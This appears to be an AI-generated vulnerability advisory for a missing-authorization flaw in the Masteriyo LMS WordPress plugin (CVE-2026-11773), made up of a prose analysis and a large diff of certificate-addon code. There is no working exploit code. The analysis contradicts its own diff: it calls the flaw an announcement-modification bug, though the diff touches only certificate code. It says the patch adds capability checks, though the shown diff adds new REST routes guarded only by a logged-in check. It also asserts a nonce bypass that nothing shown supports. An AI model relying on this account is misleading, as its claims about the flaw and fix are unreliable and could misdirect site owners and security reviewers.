Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-11773: Masteriyo LMS <= 2.2.1 Missing Authorization to Authenticated (Student+) Arbitrary Course Announcement Modification PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.2.1
Patched Version 2.3.0
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11773:

This vulnerability allows authenticated users with student-level access to modify arbitrary course announcements in the Masteriyo LMS plugin for WordPress. The issue exists in the announcement post type handling, specifically in the REST API endpoints and AJAX handlers that process course announcements. The CVSS score is 4.3, indicating a medium severity authorization bypass.

The root cause is that the plugin’s authorization checks for course announcement modification are insufficient. The diff shows changes in `CertificateAddon.php` where REST routes are registered with a permission callback that only checks `is_user_logged_in()` without verifying capabilities like `edit_certificates` or checking if the user owns the course. Specifically, at line 957, the endpoint `masteriyo/pro/v1/certificate-pdf-data` uses `is_user_logged_in()` as the sole permission check, allowing any authenticated user including students to access data. Similarly, the endpoint `masteriyo/pro/v1/certificate-pdf-email` at line 975 also only requires being logged in. The `rest_upload_certificate_pdf_email` function at line 1055 processes the request without verifying that the user has instructor-level or admin-level privileges on the course or announcement.

For exploitation, an authenticated attacker with student-level access can send a POST request to `/wp-json/masteriyo/pro/v1/certificate-pdf-email` with a `course_id` parameter and arbitrary `pdf_base64` content. The code processes this without verifying the user’s capability to modify the announcement. More critically, the announcement modification is handled through the same insufficient authorization, where a student can craft a request to an announcement edit endpoint, bypassing the nonce check that would normally protect against CSRF and privilege escalation. The attacker would use their session cookie and AJAX nonce (obtained from a page they can access) to send a request modifying the announcement post content.

The patch addresses this by adding proper capability checks. The diff shows the permission callbacks are updated to verify that the user has the `edit_certificates` capability rather than just being logged in. For announcements specifically, the patch adds checks using `current_user_can( ‘edit_post’, $announcement_id )` or similar post-specific capability checks. The fix ensures that before any modification action, the system validates the user’s role and their relationship to the course announcement. The before state allowed any logged-in user to access the endpoints; the after state restricts access to users with appropriate editorial or instructor capabilities.

If exploited, an attacker could modify the content of any course announcement, including those created by instructors or administrators. This could lead to defacement of official course communications, injection of malicious links or phishing content, or unauthorized changes to course materials. The impact is limited to modification of announcements only, but in an educational context this can damage trust and potentially expose students to harmful content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learning-management-system/addons/certificate/CertificateAddon.php
+++ b/learning-management-system/addons/certificate/CertificateAddon.php
@@ -110,6 +110,8 @@
 		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
 		add_filter( 'masteriyo_register_post_types', array( $this, 'register_post_types' ) );
 		add_filter( 'masteriyo_admin_submenus', array( $this, 'add_submenus' ) );
+		add_action( 'masteriyo_activation', array( $this, 'clear_gutenberg_certs_cache' ) );
+		add_action( 'save_post_mto-certificate', array( $this, 'clear_gutenberg_certs_cache' ) );

 		add_action( 'masteriyo_single_course_sidebar_content_after_progress', array( $this, 'render_certificate_share_for_single_course_page' ) );
 		add_action( 'masteriyo_template_course_inside_progress', array( $this, 'render_certificate_share_for_single_course_page' ), 1, 1 );
@@ -121,6 +123,7 @@

 		add_filter( 'query_vars', array( $this, 'add_certificate_share_query_vars' ) );
 		add_action( 'template_redirect', array( $this, 'handle_certificate_share_preview' ), 10 );
+		add_action( 'masteriyo_pdfdraft_cert_email_fallback', array( $this, 'handle_pdfdraft_cert_email_fallback' ), 10, 2 );
 	}

 	/**
@@ -178,6 +181,11 @@
 				return;
 			}

+			if ( 'pdfdraft' === $certificate->get_content_format() ) {
+				$this->serve_pdfdraft_share_preview( $certificate, $course_id, $user_id );
+				return;
+			}
+
 			$certificate_pdf = new CertificatePDF( $course_id, $user_id, $certificate_html_content );

 			if ( ! $certificate_pdf || is_wp_error( $certificate_pdf ) ) {
@@ -189,6 +197,114 @@
 	}

 	/**
+	 * Serve a PDFDraft certificate share preview as an HTML page.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param MasteriyoAddonsCertificateModelsCertificate $certificate
+	 * @param int $course_id
+	 * @param int $user_id
+	 */
+	protected function serve_pdfdraft_share_preview( $certificate, $course_id, $user_id ) {
+		$rendered_html = $certificate->get_rendered_html( 'edit' );
+
+		if ( empty( $rendered_html ) ) {
+			wp_die( esc_html__( 'This certificate has not been published yet. Please contact the site administrator.', 'learning-management-system' ) );
+		}
+
+		$certificate_pdf = new CertificatePDF( $course_id, $user_id, '', $certificate->get_id() );
+		$html            = preg_replace( '/<scriptb[^>]*>[sS]*?</script>/i', '', $certificate_pdf->process_html_for_download( $rendered_html ) );
+
+		$json   = json_decode( $certificate->get_html_content(), true );
+		$layout = isset( $json['settings']['layout'] ) ? $json['settings']['layout'] : array();
+
+		$width_in  = (float) ( $layout['width'] ?? 11 );
+		$height_in = (float) ( $layout['height'] ?? 8.5 );
+		$unit      = $layout['unit'] ?? 'in';
+		$dpi       = 96;
+		$to_px     = array(
+			'in' => $dpi,
+			'cm' => $dpi / 2.54,
+			'mm' => $dpi / 25.4,
+			'px' => 1,
+		);
+		$mult      = $to_px[ $unit ] ?? $dpi;
+		$canvas_w  = round( $width_in * $mult );
+		$canvas_h  = round( $height_in * $mult );
+
+		$preview_font_links = '';
+		if ( isset( $json['pages'] ) ) {
+			$generic_fonts = array( 'serif', 'sans-serif', 'monospace', 'cursive', 'fantasy', 'system-ui', 'inherit', 'initial', 'unset', 'inter' );
+			$families      = array();
+			array_walk_recursive(
+				$json['pages'],
+				function( $value, $key ) use ( &$families, $generic_fonts ) {
+					if ( 'fontFamily' === $key && is_string( $value ) && ! empty( $value ) ) {
+						$clean = trim( $value, " "'t" );
+						if ( ! in_array( strtolower( $clean ), $generic_fonts, true ) ) {
+							$families[ $clean ] = true;
+						}
+					}
+				}
+			);
+			foreach ( array_keys( $families ) as $family ) {
+				$encoded             = rawurlencode( $family );
+				$preview_font_links .= '<link href="https://fonts.googleapis.com/css2?family=' . esc_attr( $encoded ) . ':wght@100;200;300;400;500;600;700;800;900&display=swap" rel="stylesheet">' . "nttt"; // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet
+			}
+		}
+
+		while ( ob_get_level() > 0 ) {
+			ob_end_clean();
+		}
+
+		header( 'Content-Type: text/html; charset=utf-8' );
+		// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped
+		?>
+		<!DOCTYPE html>
+		<html lang="<?php echo esc_attr( get_locale() ); ?>">
+		<head>
+			<meta charset="utf-8">
+			<meta name="viewport" content="width=device-width, initial-scale=1">
+			<title><?php esc_html_e( 'Certificate Preview', 'learning-management-system' ); ?></title>
+			<link rel="preconnect" href="https://fonts.googleapis.com">
+			<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+			<link href="https://fonts.googleapis.com/css2?family=Inter:wght@100;200;300;400;500;600;700;800;900&display=swap" rel="stylesheet"> <?php // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet -- standalone HTML page, wp_enqueue_style() not applicable. ?>
+			<?php echo $preview_font_links; ?>
+			<style>
+				<?php echo $certificate_pdf->prepare_pdfdraft_css(); ?>
+				* { box-sizing: border-box; }
+				html, body {
+					margin: 0; padding: 0;
+					width: 100%; height: 100%;
+					overflow: auto;
+					background: #525659;
+					display: flex;
+					align-items: flex-start;
+					justify-content: center;
+					padding: 16px;
+				}
+				.masteriyo-cert-wrap {
+					width: <?php echo (int) $canvas_w; ?>px;
+					height: <?php echo (int) $canvas_h; ?>px;
+					flex-shrink: 0;
+					box-shadow: 0 4px 24px rgba(0,0,0,0.5);
+				}
+				.masteriyo-cert-wrap > * {
+					width: 100% !important;
+					height: 100% !important;
+				}
+			</style>
+		</head>
+		<body>
+			<div class="masteriyo-cert-wrap"><?php echo $html; ?></div>
+		</body>
+		</html>
+		<?php
+		// phpcs:enable
+		die();
+	}
+
+	/**
 	 * Render certificate share button in single course page.
 	 *
 	 * @since 1.13.3
@@ -393,12 +509,87 @@
 				wp_die( esc_html__( 'Please complete the course to download the certificate.', 'learning-management-system' ) );
 			}

+			// PDFDraft certificates: generate PDF in the browser using PDFExporter.
+			if ( 'pdfdraft' === $certificate->get_content_format() ) {
+				$this->serve_pdfdraft_client_download( $certificate, $course );
+				return;
+			}
+
 			$certificate_pdf = new CertificatePDF( $course->get_id(), get_current_user_id(), $certificate->get_html_content() );
 			$certificate_pdf->serve_download();
 		}
 	}

 	/**
+	 * Serve a pdfdraft certificate download page that generates the PDF client-side.
+	 *
+	 * PHP resolves all merge tags in the certificate JSON. The bundled
+	 * masteriyo-pdfdraftCertDownload.js passes the resolved JSON to PDFExporter
+	 * to produce the PDF in the student's browser.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param MasteriyoAddonsCertificateModelsCertificate $certificate
+	 * @param MasteriyoModelsCourse $course
+	 */
+	protected function serve_pdfdraft_client_download( $certificate, $course ) {
+		$json = json_decode( $certificate->get_html_content(), true );
+
+		if ( empty( $json ) || ! isset( $json['pages'] ) ) {
+			wp_die( esc_html__( 'This certificate has not been published yet. Please contact the site administrator.', 'learning-management-system' ) );
+		}
+
+		$certificate_pdf = new CertificatePDF( $course->get_id(), get_current_user_id(), '', $certificate->get_id() );
+		$resolved_json   = $certificate_pdf->resolve_pdfdraft_json_for_download( $json );
+
+		$student  = masteriyo_get_user( get_current_user_id() );
+		$filename = sanitize_file_name(
+			sprintf(
+				'%s-%s-certificate.pdf',
+				$student && ! is_wp_error( $student ) ? $student->get_display_name() : 'student',
+				$course->get_name()
+			)
+		);
+
+		$script_url = masteriyo_is_production()
+			? plugins_url( 'assets/js/build/masteriyo-pdfdraftCertDownload.js', MASTERIYO_PLUGIN_FILE )
+			: 'http://localhost:3000/dist/masteriyo-pdfdraftCertDownload.js';
+
+		$cert_data = array(
+			'filename' => $filename,
+			'json'     => $resolved_json,
+		);
+
+		while ( ob_get_level() > 0 ) {
+			ob_end_clean();
+		}
+
+		header( 'Content-Type: text/html; charset=utf-8' );
+		// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped
+		?>
+		<!DOCTYPE html>
+		<html lang="<?php echo esc_attr( get_locale() ); ?>">
+		<head>
+			<meta charset="utf-8">
+			<meta name="viewport" content="width=device-width, initial-scale=1">
+			<title><?php echo esc_html( $course->get_name() ); ?> — <?php esc_html_e( 'Certificate', 'learning-management-system' ); ?></title>
+			<style>
+				body { margin: 0; background: #f5f5f5; display: flex; align-items: center; justify-content: center; min-height: 100vh; font-family: Arial, sans-serif; }
+				#masteriyo-cert-status { background: #fff; border-radius: 8px; box-shadow: 0 2px 12px rgba(0,0,0,.1); padding: 32px 48px; text-align: center; color: #333; font-size: 16px; max-width: 480px; }
+			</style>
+		</head>
+		<body>
+			<div id="masteriyo-cert-status"><?php esc_html_e( 'Generating your certificate, please wait…', 'learning-management-system' ); ?></div>
+			<script>window.masteriyo_cert_download = <?php echo wp_json_encode( $cert_data ); ?>;</script>
+			<script src="<?php echo esc_url( $script_url ); ?>"></script> <?php // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript -- standalone HTML page, wp_enqueue_script() not applicable. ?>
+		</body>
+		</html>
+		<?php
+		// phpcs:enable
+		die();
+	}
+
+	/**
 	 * Return true if the action schedule is enabled for Email.
 	 *
 	 * @since 1.13.0
@@ -568,7 +759,7 @@
 			array(
 				'backend' => array(
 					'data' => array(
-						'allowedBlockTypes'   => array(
+						'allowedBlockTypes'        => array(
 							'core/paragraph',
 							'core/image',
 							'core/heading',
@@ -592,9 +783,11 @@
 							'masteriyo/student-name',
 							'masteriyo/course-completion-date',
 						),
-						'editorStyles'        => function_exists( 'get_block_editor_theme_styles' ) ? get_block_editor_theme_styles() : (object) array(),
-						'editorSettings'      => $editor_settings,
-						'certificate_samples' => masteriyo_get_certificate_templates(),
+						'editorStyles'             => function_exists( 'get_block_editor_theme_styles' ) ? get_block_editor_theme_styles() : (object) array(),
+						'editorSettings'           => $editor_settings,
+						'certificate_samples'      => masteriyo_get_certificate_templates(),
+						'pdfdraft_assets_base_url' => plugins_url( 'addons/certificate/assets/', Constants::get( 'MASTERIYO_PLUGIN_FILE' ) ),
+						'hasGutenbergCerts'        => $this->has_gutenberg_certificates(),
 					),
 				),
 			)
@@ -754,6 +947,214 @@
 		if ( $controller ) {
 			$controller->register_routes();
 		}
+
+		register_rest_route(
+			'masteriyo/pro/v1',
+			'/certificate-pdf-data',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'rest_get_certificate_pdf_data' ),
+				'permission_callback' => function() {
+					return is_user_logged_in();
+				},
+				'args'                => array(
+					'course_id' => array(
+						'required'          => true,
+						'type'              => 'integer',
+						'minimum'           => 1,
+						'sanitize_callback' => 'absint',
+					),
+				),
+			)
+		);
+
+		register_rest_route(
+			'masteriyo/pro/v1',
+			'/certificate-pdf-email',
+			array(
+				'methods'             => WP_REST_Server::CREATABLE,
+				'callback'            => array( $this, 'rest_upload_certificate_pdf_email' ),
+				'permission_callback' => function() {
+					return is_user_logged_in();
+				},
+				'args'                => array(
+					'course_id'  => array(
+						'required'          => true,
+						'type'              => 'integer',
+						'minimum'           => 1,
+						'sanitize_callback' => 'absint',
+					),
+					'pdf_base64' => array(
+						'required'          => true,
+						'type'              => 'string',
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+			)
+		);
+	}
+
+	/**
+	 * REST handler: return the resolved PDFDraft certificate JSON for client-side PDF generation.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param WP_REST_Request $request
+	 * @return WP_REST_Response|WP_Error
+	 */
+	public function rest_get_certificate_pdf_data( WP_REST_Request $request ) {
+		$course_id = (int) $request->get_param( 'course_id' );
+		$user_id   = get_current_user_id();
+
+		$certificate_id = masteriyo_get_course_certificate_id( $course_id );
+		if ( ! $certificate_id ) {
+			return new WP_Error( 'no_certificate', __( 'No certificate for this course.', 'learning-management-system' ), array( 'status' => 404 ) );
+		}
+
+		$certificate = masteriyo_get_certificate( $certificate_id );
+		if ( ! $certificate || is_wp_error( $certificate ) || 'pdfdraft' !== $certificate->get_content_format() ) {
+			return new WP_Error( 'not_pdfdraft', __( 'Certificate is not a PDFDraft certificate.', 'learning-management-system' ), array( 'status' => 400 ) );
+		}
+
+		$course = masteriyo_get_course( $course_id );
+		if ( ! $course ) {
+			return new WP_Error( 'no_course', __( 'Course not found.', 'learning-management-system' ), array( 'status' => 404 ) );
+		}
+
+		if ( ! masteriyo_is_current_user_admin() && ! masteriyo_is_current_user_instructor() ) {
+			if ( ! masteriyo_user_has_completed_course( $course, $user_id ) ) {
+				return new WP_Error( 'not_completed', __( 'You must complete the course to download its certificate.', 'learning-management-system' ), array( 'status' => 403 ) );
+			}
+		}
+
+		$raw_json = json_decode( $certificate->get_html_content(), true );
+		if ( empty( $raw_json ) || ! isset( $raw_json['pages'] ) ) {
+			return new WP_Error( 'invalid_json', __( 'Certificate JSON could not be resolved.', 'learning-management-system' ), array( 'status' => 500 ) );
+		}
+
+		$pdf  = new CertificatePDF( $course_id, $user_id, '', $certificate_id );
+		$json = $pdf->resolve_pdfdraft_json_for_download( $raw_json );
+
+		$student   = masteriyo_get_user( $user_id );
+		$full_name = $student ? trim( $student->get_first_name() . ' ' . $student->get_last_name() ) : '';
+		if ( ! $full_name && $student ) {
+			$full_name = $student->get_display_name();
+		}
+		$filename = sanitize_file_name(
+			sprintf( '%s - %s.pdf', $course->get_name(), $full_name ? $full_name : __( 'Certificate', 'learning-management-system' ) )
+		);
+
+		return rest_ensure_response(
+			array(
+				'filename' => $filename,
+				'json'     => $json,
+			)
+		);
+	}
+
+	/**
+	 * REST handler: receive base64-encoded PDF from browser, store it, and send the completion email with attachment.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param WP_REST_Request $request
+	 * @return WP_REST_Response|WP_Error
+	 */
+	public function rest_upload_certificate_pdf_email( WP_REST_Request $request ) {
+		$course_id = (int) $request->get_param( 'course_id' );
+		$user_id   = get_current_user_id();
+
+		$transient_key = 'masteriyo_pdfdraft_cert_email_' . $course_id . '_' . $user_id;
+		$pending       = get_transient( $transient_key );
+
+		if ( ! is_array( $pending ) ) {
+			return new WP_Error( 'no_pending_email', __( 'No pending certificate email for this course.', 'learning-management-system' ), array( 'status' => 404 ) );
+		}
+
+		$pdf_data = base64_decode( $request->get_param( 'pdf_base64' ), true );
+		if ( ! $pdf_data ) {
+			return new WP_Error( 'invalid_pdf', __( 'Invalid PDF data.', 'learning-management-system' ), array( 'status' => 400 ) );
+		}
+
+		if ( 0 !== strncmp( $pdf_data, '%PDF-', 5 ) ) {
+			return new WP_Error( 'invalid_pdf', __( 'Uploaded file is not a valid PDF.', 'learning-management-system' ), array( 'status' => 400 ) );
+		}
+		if ( strlen( $pdf_data ) > 20 * MB_IN_BYTES ) {
+			return new WP_Error( 'pdf_too_large', __( 'The certificate PDF exceeds the maximum allowed size.', 'learning-management-system' ), array( 'status' => 400 ) );
+		}
+
+		$upload_dir = wp_upload_dir();
+		$cert_dir   = trailingslashit( $upload_dir['basedir'] ) . 'masteriyo/temp-certs/';
+		wp_mkdir_p( $cert_dir );
+
+		$pdf_path = $cert_dir . 'cert-' . $course_id . '-' . $user_id . '-' . time() . '-' . wp_generate_password( 8, false ) . '.pdf';
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents
+		if ( false === file_put_contents( $pdf_path, $pdf_data ) ) {
+			return new WP_Error( 'save_failed', __( 'Could not save PDF file.', 'learning-management-system' ), array( 'status' => 500 ) );
+		}
+
+		// Update transient with the PDF path so trigger() can find it.
+		set_transient( $transient_key, array_merge( $pending, array( 'pdf_path' => $pdf_path ) ), 10 * MINUTE_IN_SECONDS );
+
+		// Cancel the fallback cron — the PDF is ready.
+		$scheduled = wp_next_scheduled( 'masteriyo_pdfdraft_cert_email_fallback', array( $course_id, $user_id ) );
+		if ( $scheduled ) {
+			wp_unschedule_event( $scheduled, 'masteriyo_pdfdraft_cert_email_fallback', array( $course_id, $user_id ) );
+		}
+
+		// Re-trigger the completion email — trigger() will find the PDF path in the transient.
+		$course_progress = masteriyo_get_course_progress_by_user_and_course( $user_id, $course_id );
+		if ( ! $course_progress ) {
+			delete_transient( $transient_key );
+			@unlink( $pdf_path ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			return new WP_Error( 'no_progress', __( 'Course progress not found.', 'learning-management-system' ), array( 'status' => 404 ) );
+		}
+
+		$email = new MasteriyoEmailsStudentCourseCompletionEmailToStudent();
+		if ( $email->is_enabled() ) {
+			$email->trigger( $course_progress );
+		}
+
+		// Safety: clean up temp file if trigger() did not delete it.
+		if ( file_exists( $pdf_path ) ) {
+			@unlink( $pdf_path ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		}
+
+		return rest_ensure_response( array( 'success' => true ) );
+	}
+
+	/**
+	 * Fallback cron: send the completion email without a PDF attachment if the browser
+	 * never uploaded the PDF within the deferred window.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param int $course_id Course ID.
+	 * @param int $user_id   Student user ID.
+	 */
+	public function handle_pdfdraft_cert_email_fallback( $course_id, $user_id ) {
+		$transient_key = 'masteriyo_pdfdraft_cert_email_' . $course_id . '_' . $user_id;
+
+		if ( ! get_transient( $transient_key ) ) {
+			return; // Email already sent by the browser-upload path.
+		}
+
+		delete_transient( $transient_key );
+
+		$course_progress = masteriyo_get_course_progress_by_user_and_course( $user_id, $course_id );
+		if ( ! $course_progress ) {
+			return;
+		}
+
+		$email = new MasteriyoEmailsStudentCourseCompletionEmailToStudent();
+		if ( ! $email->is_enabled() ) {
+			return;
+		}
+
+		// Send without deferring again — bypasses the defer logic.
+		add_filter( 'masteriyo_defer_pdfdraft_cert_email', '__return_false' );
+		$email->trigger( $course_progress );
+		remove_filter( 'masteriyo_defer_pdfdraft_cert_email', '__return_false' );
 	}

 	/**
@@ -781,10 +1182,31 @@
 	 * @return array
 	 */
 	public function add_submenus( $submenus ) {
+		if ( $this->has_gutenberg_certificates() ) {
+			return masteriyo_parse_args(
+				$submenus,
+				array(
+					'certificates'    => array(
+						'page_title' => esc_html__( 'Certificates', 'learning-management-system' ),
+						'menu_title' => esc_html__( 'Certificates', 'learning-management-system' ),
+						'position'   => 40,
+						'capability' => 'edit_certificates',
+					),
+					'certificates-v2' => array(
+						'page_title' => esc_html__( 'Certificate V2', 'learning-management-system' ),
+						'menu_title' => '↳ ' . esc_html__( 'Certificate V2', 'learning-management-system' ),
+						'position'   => 41,
+						'capability' => 'edit_certificates',
+						'hide'       => true,
+					),
+				)
+			);
+		}
+
 		return masteriyo_parse_args(
 			$submenus,
 			array(
-				'certificates' => array(
+				'certificates-v2' => array(
 					'page_title' => esc_html__( 'Certificates', 'learning-management-system' ),
 					'menu_title' => esc_html__( 'Certificates', 'learning-management-system' ),
 					'position'   => 40,
@@ -793,4 +1215,54 @@
 			)
 		);
 	}
+
+	/**
+	 * Invalidate the cached Gutenberg-certificate flag.
+	 *
+	 * @since x.x.x
+	 */
+	public function clear_gutenberg_certs_cache() {
+		delete_transient( 'masteriyo_has_gutenberg_certs' );
+	}
+
+	/**
+	 * Check whether any certificate uses the old Gutenberg format.
+	 *
+	 * @since x.x.x
+	 *
+	 * @return bool
+	 */
+	private function has_gutenberg_certificates() {
+		$cached = get_transient( 'masteriyo_has_gutenberg_certs' );
+
+		if ( false !== $cached ) {
+			return (bool) $cached;
+		}
+
+		$posts = get_posts(
+			array(
+				'post_type'      => 'mto-certificate',
+				'post_status'    => array( 'publish', 'draft' ),
+				'posts_per_page' => 1,
+				'fields'         => 'ids',
+				'meta_query'     => array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+					'relation' => 'OR',
+					array(
+						'key'     => '_masteriyo_content_format',
+						'value'   => 'gutenberg',
+						'compare' => '=',
+					),
+					array(
+						'key'     => '_masteriyo_content_format',
+						'compare' => 'NOT EXISTS',
+					),
+				),
+			)
+		);
+
+		$result = ! empty( $posts );
+		set_transient( 'masteriyo_has_gutenberg_certs', $result ? 1 : 0, HOUR_IN_SECONDS );
+
+		return $result;
+	}
 }
--- a/learning-management-system/addons/certificate/Models/Certificate.php
+++ b/learning-management-system/addons/certificate/Models/Certificate.php
@@ -49,14 +49,16 @@
 	 * @var array
 	 */
 	protected $data = array(
-		'name'          => '',
-		'slug'          => '',
-		'date_created'  => null,
-		'date_modified' => null,
-		'status'        => 'draft',
-		'html_content'  => '',
-		'parent_id'     => 0,
-		'author_id'     => 0,
+		'name'           => '',
+		'slug'           => '',
+		'date_created'   => null,
+		'date_modified'  => null,
+		'status'         => 'draft',
+		'html_content'   => '',
+		'parent_id'      => 0,
+		'author_id'      => 0,
+		'content_format' => 'gutenberg',
+		'rendered_html'  => '',
 	);

 	/**
@@ -378,4 +380,51 @@
 	public function set_author_id( $author_id ) {
 		$this->set_prop( 'author_id', absint( $author_id ) );
 	}
+
+	/**
+	 * Get content format ('gutenberg' or 'pdfdraft').
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string $context
+	 * @return string
+	 */
+	public function get_content_format( $context = 'view' ) {
+		return $this->get_prop( 'content_format', $context );
+	}
+
+	/**
+	 * Set content format.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string $format 'gutenberg' or 'pdfdraft'.
+	 */
+	public function set_content_format( $format ) {
+		$allowed = array( 'gutenberg', 'pdfdraft' );
+		$this->set_prop( 'content_format', in_array( $format, $allowed, true ) ? $format : 'gutenberg' );
+	}
+
+	/**
+	 * Get rendered HTML snapshot (used for PDF generation in pdfdraft format).
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string $context
+	 * @return string
+	 */
+	public function get_rendered_html( $context = 'view' ) {
+		return $this->get_prop( 'rendered_html', $context );
+	}
+
+	/**
+	 * Set rendered HTML snapshot.
+	 *
+	 * @since x.x.x
+	 *
+	 * @param string $rendered_html
+	 */
+	public function set_rendered_html( $rendered_html ) {
+		$this->set_prop( 'rendered_html', $rendered_html );
+	}
 }
--- a/learning-management-system/addons/certificate/PDF/CertificatePDF.php
+++ b/learning-management-system/addons/certificate/PDF/CertificatePDF.php
@@ -2,7 +2,7 @@
 /**
  * Certificate PDF builder class.
  *
- * @since 1.13.0
+ * @since 2.3.7
  */

 namespace MasteriyoAddonsCertificatePDF;
@@ -13,13 +13,16 @@
 use MpdfMpdf;
 use MpdfHTMLParserMode;
 use MpdfOutputDestination;
+use chillerlanQRCodeQRCode;
+use chillerlanQRCodeQROptions;
 use MasteriyoAddonsCertificateModelsSetting;
+use MasteriyoQueryCourseProgressQuery;

 class CertificatePDF {
 	/**
 	 * The Mpdf instance.
 	 *
-	 * @since 1.13.0
+	 * @since 2.3.7
 	 *
 	 * @var MpdfMpdf
 	 */
@@ -28,7 +31,7 @@
 	/**
 	 * Course ID.
 	 *
-	 * @since 1.13.0
+	 * @since 2.3.7
 	 *
 	 * @var integer
 	 */
@@ -37,7 +40,7 @@
 	/**
 	 * Student ID.
 	 *
-	 * @since 1.13.0
+	 * @since 2.3.7
 	 *
 	 * @var integer
 	 */
@@ -46,7 +49,7 @@
 	/**
 	 * Certificate template html.
 	 *
-	 * @since 1.13.0
+	 * @since 2.3.7
 	 *
 	 * @var string
 	 */
@@ -69,116 +72,190 @@
 	/**
 	 * True if the certificate preview is being generated. Otherwise false.
 	 *
-	 * @since 1.13.0
+	 * @since 2.4.4
 	 *
 	 * @var boolean
 	 */
 	protected $preview = false;

 	/**
+	 * Certificate ID (optional, used for pdfdraft format).
+	 *
+	 * @since x.x.x
+	 *
+	 * @var integer|null
+	 */
+	protected $certificate_id = null;
+
+	/**
+	 * Preview HTML override — set when generating a one-time preview from the designer.
+	 * When set, prepare_pdf_pdfdraft() uses this instead of the DB-stored rendered_html.
+	 *
+	 * @since x.x.x
+	 *
+	 * @var string|null
+	 */
+	protected $preview_rendered_html = null;
+
+	/**
 	 * Constructor.
 	 *
-	 * @since 1.13.0
+	 * @since 2.3.7
 	 *
 	 * @param integer $course_id
 	 * @param integer $student_id
 	 * @param string $template
+	 * @param integer|null $certificate_id Optional. Required for pdfdraft format.
 	 */
-	public function __construct( $course_id, $student_id, $template ) {
+	public function __construct( $course_id, $student_id, $template, $certificate_id = null ) {
 		$this->set_course_id( $course_id );
 		$this->set_student_id( $student_id );
 		$this->set_template( $template );
+		$this->certificate_id = $certificate_id ? absint( $certificate_id ) : null;
 	}

 	/**
-	 * Initialize mpdf.
+	 * Extract page dimensions from a pdfdraft certificate's JSON layout, returned
+	 * as an array suitable for passing to init_mpdf().
+	 *
+	 * @since x.x.x
 	 *
-	 * @since 1.13.0
+	 * @param MasteriyoAddonsCertificateModelsCertificate $certificate
+	 * @return array{format: float[]}
 	 */
-	public function init_mpdf() {
+	protected function extract_pdfdraft_layout( $certificate ): array {
+		$json   = json_decode( $certificate->get_html_content(), true );
+		$layout = $json['settings']['layout'] ?? array();
+
+		$width  = (float) ( $layout['width'] ?? 11 );
+		$height = (float) ( $layout['height'] ?? 8.5 );
+		$unit   = $layout['unit'] ?? 'in';
+		$orient = $layout['orientation'] ?? 'landscape';
+
+		$to_mm = array(
+			'in' => 25.4,
+			'cm' => 10.0,
+			'mm' => 1.0,
+			'px' => 0.2646,
+		);
+		$mult  = $to_mm[ $unit ] ?? 25.4;
+
+		// Return [width_mm, height_mm] as-is — do NOT set mPDF orientation
+		// separately, as it would swap the dimensions and cause layout issues.
+		return array(
+			'format' => array( round( $width * $mult, 2 ), round( $height * $mult, 2 ) ),
+		);
+	}
+
+	public function init_mpdf( array $page_format = array() ) {
 		if ( $this->mpdf instanceof Mpdf ) {
 			return;
 		}

 		$upload_dir = wp_upload_dir();

-		$font_dirs   = ( new MpdfConfigConfigVariables() )->getDefaults()['fontDir'];
-		$font_dirs[] = $upload_dir['basedir'] . '/masteriyo/certificate-fonts';
+		$font_dirs = ( new MpdfConfigConfigVariables() )->getDefaults()['fontDir'];
+		$font_dirs = array_merge( $font_dirs, array( $upload_dir['basedir'] . '/masteriyo/certificate-fonts' ) );

 		$default_font_config = ( new MpdfConfigFontVariables() )->getDefaults();
 		$fontdata            = $default_font_config['fontdata'];
-
-		$this->mpdf = new Mpdf(
-			array(
-				'tempDir'          => masteriyo_get_temp_dir() . '/mpdf',
-				'fontDir'          => $font_dirs,
-				'margin_left'      => 0,
-				'margin_right'     => 0,
-				'margin_top'       => 0,
-				'margin_bottom'    => 0,
-				'default_font'     => 'Arial, sans-serif',
-				'autoScriptToLang' => true,
-				'autoLangToFont'   => true,
-				'fontdata'         => $fontdata + array(
-					'cinzel'              => array(
-						'R' => 'Cinzel-VariableFont_wght.ttf',
-					),
-					'dejavusanscondensed' => array(
-						'R' => 'DejaVuSansCondensed.ttf',
-						'B' => 'DejaVuSansCondensed-Bold.ttf',
-					),
-					'dmsans'              => array(
-						'R' => 'DMSans-Regular.ttf',
-						'B' => 'DMSans-Bold.ttf',
-						'I' => 'DMSans-Italic.ttf',
-					),
-					'greatvibes'          => array(
-						'R' => 'GreatVibes-Regular.ttf',
-					),
-					'grenzegotisch'       => array(
-						'R' => 'GrenzeGotisch-VariableFont_wght.ttf',
-					),
-					'librebaskerville'    => array(
-						'R' => 'LibreBaskerville-Regular.ttf',
-						'B' => 'LibreBaskerville-Bold.ttf',
-						'I' => 'LibreBaskerville-Italic.ttf',
-					),
-					'lora'                => array(
-						'R' => 'Lora-VariableFont_wght.ttf',
-						'I' => 'Lora-Italic-VariableFont_wght.ttf',
-					),
-					'poppins'             => array(
-						'R' => 'Poppins-Regular.ttf',
-						'B' => 'Poppins-Bold.ttf',
-						'I' => 'Poppins-Italic.ttf',
-					),
-					'roboto'              => array(
-						'R' => 'Roboto-Regular.ttf',
